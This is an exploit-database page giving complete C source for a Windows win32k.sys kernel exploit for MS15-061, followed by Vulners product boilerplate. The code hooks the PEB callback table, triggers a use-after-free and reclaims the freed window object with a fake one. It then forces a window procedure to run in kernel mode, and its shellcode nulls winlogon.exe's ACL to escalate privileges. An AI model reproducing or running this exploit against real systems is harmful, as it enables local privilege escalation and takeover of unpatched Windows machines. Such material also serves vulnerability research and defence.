Lucene search
K

MS15-061 Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 103 Views

Exploiting MS15-061 in Windows NTUserMessageCall Win32k.sys

Code

                                                #include <windows.h>
#include<stdio.h>
/*
Exploiting MS15-061 with reverse engineering Win32k.sys by 
steps :
1: hook PEB callback Function 
2: trigger vulnerability ( make proper Window to lead vulnerable function)
3: replace  fake object with NtUserDefSetText in Desktop heap inside PEB callback 
4: fake object with save exit buffer(0x0c0c0c0c)  and pointer to tagWND 
5: do it until bServerSideWindowProc is set 
mail :   [email protected] 
twitter : https://twitter.com/R00tkitSMM 
*/
// TODO: check OS version , Code refactoring
/*
ref: 
 https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/08/2015-08-27_-_ncc_group_-_exploiting_ms15_061_uaf_-_release.pdf
 http://www.mista.nu/research/mandt-win32k-slides.pdf
 https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/
*/
typedef struct _HANDLEENTRY{
    PVOID  phead;       
    ULONG  pOwner;      
    BYTE  bType;        
    BYTE  bFlags;       
    WORD  wUniq;       
}HANDLEENTRY,*PHANDLEENTRY;

typedef struct _SERVERINFO{   
    DWORD dwSRVIFlags;
	DWORD cHandleEntries;   
    WORD wSRVIFlags;      
    WORD wRIPPID;         
    WORD wRIPError;

    
}SERVERINFO,*PSERVERINFO;

typedef struct _SHAREDINFO{
    PSERVERINFO psi;      
    PHANDLEENTRY aheList;
	ULONG HeEntrySize; // Win7 - not present in WinXP?
    ULONG_PTR pDispInfo;      
    ULONG_PTR ulSharedDelta;
	ULONG_PTR awmControl; // Not in XP
    ULONG_PTR DefWindowMsgs; // Not in XP
    ULONG_PTR DefWindowSpecMsgs; // Not in XP
}SHAREDINFO,*PSHAREDINFO;


void* Get__Win32ClientInfo()
{
	/*
   +0x1d4 GdiTebBatch      : _GDI_TEB_BATCH
   +0x6b4 RealClientId     : _CLIENT_ID
   +0x6bc GdiCachedProcessHandle : Ptr32 Void
   +0x6c0 GdiClientPID     : Uint4B
   +0x6c4 GdiClientTID     : Uint4B
   +0x6c8 GdiThreadLocalInfo : Ptr32 Void
   +0x6cc Win32ClientInfo  : [62] Uint4B
   */
	void* address=NULL;
	__asm
	{
		  mov     eax,dword ptr fs:[00000018h] // eax=TEB
                  mov     eax,dword ptr [eax+0x6cc] // Win32ClientInfo
		  mov	  address,eax;
	}

	return address;
}


CHAR originalCLS[0x5c+2];

HWND GetKernelHandle(HWND hwnd)
{
	HWND kernelWindowHandle;
	ULONG i;
	HMODULE hUser32;
	PSHAREDINFO pSharedInfo;
	PSERVERINFO pServerInfo;
	HANDLEENTRY *UserHandleTable;

	pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo");
	if (pSharedInfo == NULL)
	{
		printf("[-] Unable to locate SharedInfo");
		return NULL;
	} else {
		printf("[*] SharedInfo @ %#p\r\n", pSharedInfo);
	}

	UserHandleTable = pSharedInfo->aheList;
	printf("[*] aheList @ %#p\r\n", UserHandleTable);

	pServerInfo = pSharedInfo->psi;
	printf("[*] pServerInfo @ %#p\r\n", pServerInfo);
	printf("[*] Handle Count: %d\r\n", pServerInfo->cHandleEntries);
	// printf("User Delta 0x%p\r\n", pSharedInfo->ulSharedDelta); Not used

	for(i = 0; i < pServerInfo->cHandleEntries; i++ ) 
	{
		__try
		{
			//
			kernelWindowHandle = (HWND)(i | (UserHandleTable[i].wUniq << 0x10));
			if( kernelWindowHandle == hwnd )
			{
				kernelWindowHandle = (HWND)UserHandleTable[i].phead;
				printf("[+] Kernel Window Handle found @ %#p\r\n", kernelWindowHandle);
				return kernelWindowHandle;
			}
		}
		__except(EXCEPTION_EXECUTE_HANDLER) {}
    }

	return NULL;
}

VOID ArbDecByOne(DWORD addr){

*(DWORD *)(originalCLS + 0x58) = addr - 0x4;

}

typedef struct _LARGE_UNICODE_STRING {
    ULONG Length;
    ULONG MaximumLength : 31;
    ULONG bAnsi : 1;
    PWSTR Buffer;
} LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING;

VOID RtlInitLargeUnicodeString(
    PLARGE_UNICODE_STRING plstr,
    LPCWSTR psz,
    UINT cchLimit)
{
    ULONG Length;

    plstr->Buffer = (PWSTR)psz;
    plstr->bAnsi = FALSE;
    if ( psz!=NULL) {
        Length = wcslen( psz ) * sizeof( WCHAR );
        plstr->Length = min(Length, cchLimit);
        plstr->MaximumLength = min((Length + sizeof(UNICODE_NULL)), cchLimit);
    } else {
        plstr->MaximumLength = 0;
        plstr->Length = 0;
    }
}


__declspec(naked) BOOL NTAPI NtUserDefSetText(
	IN HWND hwnd,
    IN PLARGE_UNICODE_STRING pstrText OPTIONAL
	)
{
    __asm
    {
                        mov     eax, 116Dh
			mov     edx, 7FFE0300h	
			call    dword ptr [edx]
			retn    8
    }
}


//the Window Procedure
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{

   return DefWindowProc(hwnd, msg, wParam, lParam);
}

void* kernelHandle;
__declspec(noinline) int Shellcode()
{
	//return MessageBoxA(NULL,"Boom","boom",0);
	__asm {
		mov eax, kernelHandle // WND - Which window? Check this
		mov eax, [eax+8] // THREADINFO
		mov eax, [eax] // ETHREAD
		mov eax, [eax+0x150] // KPROCESS
		mov eax, [eax+0xb8] // flink
		procloop:
		lea edx, [eax-0xb8] // KPROCESS
		mov eax, [eax]
		add edx, 0x16c // module name
		cmp dword ptr [edx], 0x6c6e6977 // “winl” for winlogon.exe
		jne procloop
		sub edx, 0x170
		mov dword ptr [edx], 0x0 // NULL ACL
	}
}

BOOL success = FALSE;
LRESULT CALLBACK WndProc2(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{

	WORD um=0;
	__asm
	{
		mov ax, cs
		mov um, ax
	}
	if(um == 0x1b)
	{
		// USER MODE
	} else
	{
		success=TRUE;
		DebugBreak();

		Shellcode();
	}

   return DefWindowProc(hwnd, msg, wParam, lParam);
}

HWND Secondhwnd[50];
int SecondWindowIndex=1;
void CreateSecondWindow()
{
	WNDCLASSEX wc;
	const WCHAR g_szClassName[] = L"SecondClass";

    //Step 1: Registering the Window Class
    wc.cbSize        = sizeof(WNDCLASSEX);
    wc.style         = 0;
    wc.lpfnWndProc   = WndProc2;
    wc.cbClsExtra    = 0;
    wc.cbWndExtra    = 0;
    wc.hInstance     = NULL;
    wc.hIcon         = LoadIcon(NULL,IDI_QUESTION);
    wc.hCursor       = LoadCursor(NULL, IDI_QUESTION);
    wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
    wc.lpszMenuName  = NULL;
    wc.lpszClassName = g_szClassName;
    wc.hIconSm       = LoadIcon(NULL,IDI_QUESTION);  
	
	if(!RegisterClassExW(&wc))
    {
        return ;
    }

	for ( int i=0;i<50;i++)
	{
		Secondhwnd[i] = CreateWindowEx(
			WS_EX_CLIENTEDGE,
			g_szClassName,
			L"The title of my window",
			WS_OVERLAPPEDWINDOW,
			CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
			NULL, NULL, NULL, NULL);

		if(Secondhwnd[i] == NULL)
		{

			return ;
		}
	}
}

const WCHAR g_szClassName[] = L"MS15-061";
 HWND hwnd;
 HINSTANCE hInstance2;
typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);
pUser32_ClientCopyImage g_originalCCI;
void*  __ClientCopyImageAddress;



NTSTATUS NTAPI hookCCI(PVOID p)
{

	LARGE_UNICODE_STRING plstr;
	// free  WND object  
	DestroyWindow(hwnd);
	UnregisterClassW(g_szClassName,NULL);
	
	

	/*
	.text:BF89EA6D                 push    edx
	.text:BF89EA6E                 call    _xxxClientCopyImage@20 ; xxxClientCopyImage(x,x,x,x,x)
	.text:BF89EA73                 lea     esi, [edi+58h]  ------->>>> replace edi memeory with NtUserDefSetText
	.text:BF89EA76                 mov     edx, eax
	.text:BF89EA78                 mov     ecx, esi
	.text:BF89EA7A                 call    @HMAssignmentLock@8 ; HMAssignmentLock(x,x)
	*/

	

	DebugBreak();
	RtlInitLargeUnicodeString(&plstr,(WCHAR*)originalCLS, (UINT)-1);
	NtUserDefSetText(Secondhwnd[SecondWindowIndex],&plstr);
	SecondWindowIndex+=1;
	return g_originalCCI(p);
}


void* Get__ClientCopyImageAddressInPEB()
{
	void* address=NULL;
	__asm
	{
		  mov edx , 0xD8; // 0x36 *4 ->  API index *4  number  for  __ClientCopyImage
		  mov     eax,dword ptr fs:[00000018h] // eax=TEB
         	  mov     eax,dword ptr [eax+30h] // EAX=PEB
                  mov     eax,dword ptr [eax+2Ch] // EAX=KernelCallbackTable
		  add	  eax,edx
		  mov	  address,eax;
		  int 3
		
	}

	return address;
}



void init()
{
	DWORD prot;

	LoadLibraryA("user32.dll");
	CreateSecondWindow();

	void* lpvBase = VirtualAlloc(
                     (void*)0x0c0c0c0c,                 // System selects address
                    2048, // Size of allocation
                     MEM_RESERVE|MEM_COMMIT,          // Allocate reserved pages
                     PAGE_READWRITE);       // Protection = no access


	/*
	for save exit  : i used trick like  Browser Fake vTable : 
	allocate 0x0c0c0c0c address and  fill tagWND with 0x0c0c0c0c 
	so every dereference  will loop in 0x0c0c0c0c
	*/
	memset(lpvBase,'\x0c',2048);

	memset(originalCLS,0,0x5c+2);
	memset(originalCLS,'\x0c',0x5c);


	/*
   +0x014 bForceMenuDraw   : Pos 15, 1 Bit
   +0x014 bDialogWindow    : Pos 16, 1 Bit
   +0x014 bHasCreatestructName : Pos 17, 1 Bit
   +0x014 bServerSideWindowProc : Pos 18, 1 Bit
   +0x014 bAnsiWindowProc  : Pos 19, 1 Bit
   */

	kernelHandle=GetKernelHandle(Secondhwnd[0]);
	ArbDecByOne((DWORD)kernelHandle+0x14);  // 

	__ClientCopyImageAddress=Get__ClientCopyImageAddressInPEB();
	printf("address of __ClientCopyImage is %x \r\n",__ClientCopyImageAddress);
	
	if (!VirtualProtect(__ClientCopyImageAddress, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot))
	{
		return ;
	}
	g_originalCCI =(pUser32_ClientCopyImage) InterlockedExchangePointer(__ClientCopyImageAddress, &hookCCI);


}
int  main()
{
    WNDCLASSEX wc;
    int x;
    MSG Msg;

    //Step 1: Registering the Window Class
    wc.cbSize        = sizeof(WNDCLASSEX);
    wc.style         = 0;
    wc.lpfnWndProc   = WndProc;
    wc.cbClsExtra    = 0;
    wc.cbWndExtra    = 0;
    wc.hInstance     = NULL;
    wc.hIcon         = NULL; // bypass  check  inside xxxSetClassIcon to lead  execution path to callback  
    wc.hCursor       = NULL; // bypass  check  inside xxxSetClassIcon to lead  execution path to callback  
    wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
    wc.lpszMenuName  = NULL;
    wc.lpszClassName = g_szClassName;
    wc.hIconSm       = NULL; // bypass  "if" inside xxxSetClassIcon to lead  execution  path to callback  

    init();

/*
	.text:BF91B33C                 mov     edi, [ebp+pclsBase]
	..............
	..............
	.text:BF91B346                 mov     eax, [edi+58h]
	.text:BF91B349                 cmp     eax, [ebp+arg_8] ; new and  old  icon must be  diffrent  
	.text:BF91B34C                 jz      loc_BF91B42C     ----------->>> we  need bypass this  
	..............
	..............
	.text:BF91B396 loc_BF91B396:                           ; CODE XREF: xxxSetClassIcon(x,x,x,x)+68j
	.text:BF91B396                 lea     esi, [edi+58h]  ;  EDI
	.text:BF91B399                 mov     ecx, esi
	.text:BF91B39B                 mov     edx, [ebp+arg_8]
	.text:BF91B39E                 call    @HMAssignmentLock@8 ; HMAssignmentLock(x,x)
	.text:BF91B3A3                 cmp     dword ptr [edi+44h], 0
	.text:BF91B3A7                 jz      short loc_BF91B3B4  ---------->>> we  need  bypass this
	.text:BF91B3A9                 cmp     dword ptr [esi], 0
	.text:BF91B3AC                 jnz     short loc_BF91B3B4  ---------->>> we  need  bypass this  
	.text:BF91B3AE                 push    edi
	.text:BF91B3AF                 call    _xxxCreateClassSmIcon@4 ; xxxCreateClassSmIcon(x)  
*/

	do
	{
		if(!RegisterClassExW(&wc))
		{
			return 0;
		}

		// Step 2: Creating the Window
		hwnd = CreateWindowEx(
			WS_EX_CLIENTEDGE,
			g_szClassName,
			L"The title of my window",
			WS_OVERLAPPEDWINDOW,
			CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
			NULL, NULL, NULL, NULL);

		if(hwnd == NULL)
		{
			return 0;
		}

		ShowWindow(hwnd, NULL);
		UpdateWindow(hwnd);
		//Triger UserMode CallBack 
		SetClassLongPtr(hwnd, GCLP_HICON, (LONG_PTR)LoadIcon(NULL, IDI_QUESTION));

		SendMessageW(Secondhwnd[0], WM_NULL, NULL, NULL);
	}while(!success);

}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation